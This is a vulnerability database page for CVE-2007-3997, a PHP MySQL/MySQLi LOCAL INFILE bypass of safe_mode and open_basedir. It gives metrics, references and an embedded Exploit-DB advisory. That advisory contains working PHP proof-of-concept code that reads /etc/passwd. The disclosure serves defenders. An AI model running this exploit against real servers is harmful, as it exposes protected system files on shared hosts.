CVE-2007-3997 : Detail

CVE-2007-3997

A01-Broken Access Control
40.4%V3
Network
2007-09-04
16h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The (1) MySQL and (2) MySQLi extensions in PHP 4 before 4.4.8, and PHP 5 before 5.2.4, allow remote attackers to bypass safe_mode and open_basedir restrictions via MySQL LOCAL INFILE operations, as demonstrated by a query with LOAD DATA LOCAL INFILE.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4392

Publication date : 2007-09-09 22h00 +00:00
Author : Mattias Bengtsson
EDB Verified : Yes

Affected Products: <= PHP 5.2.3 <= PHP 4.4.7 Authors: Mattias Bengtsson <[email protected]> Philip Olausson <[email protected]> Reported: 2007-06-05 Released: 2007-08-30 CVE: CVE-2007-3997 Issue: A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be used to bypass PHP's safe_mode security restriction. Description: PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Details: By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode. For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1); Proof Of Concepts: MySQL: <?php file_get_contents('/etc/passwd'); $l = mysql_connect("localhost", "root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); mysql_close($l); mysql_connect("localhost", "aaaa"); mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row . chr(10); ?> MySQLi: <?php function r($fp, &$buf, $len, &$err) { print fread($fp, $len); } $m = new mysqli('localhost', 'aaaa', '', 'a'); $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $m->close(); ?> Impact: This issue could have major impact on shared hosting systems. Solution: Upgrade PHP to 5.2.4 or 4.4.8 # milw0rm.com [2007-09-10]

Products Mentioned

Configuraton 0

Php>>Php >> Version From (including) 4.0.0 To (excluding) 4.4.8

Php>>Php >> Version From (including) 5.0.0 To (excluding) 5.2.4

References

http://secunia.com/advisories/26822
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2008/0059
Tags : vdb-entry, x_refsource_VUPEN
http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.php.net/releases/4_4_8.php
Tags : x_refsource_CONFIRM
http://www.trustix.org/errata/2007/0026/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://securityreason.com/securityalert/3102
Tags : third-party-advisory, x_refsource_SREASON
http://secunia.com/advisories/26838
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27377
Tags : third-party-advisory, x_refsource_SECUNIA
https://www.exploit-db.com/exploits/4392
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.php.net/ChangeLog-4.php
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/27102
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3023
Tags : vdb-entry, x_refsource_VUPEN
http://www.php.net/releases/5_2_4.php
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/28318
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26642
Tags : third-party-advisory, x_refsource_SECUNIA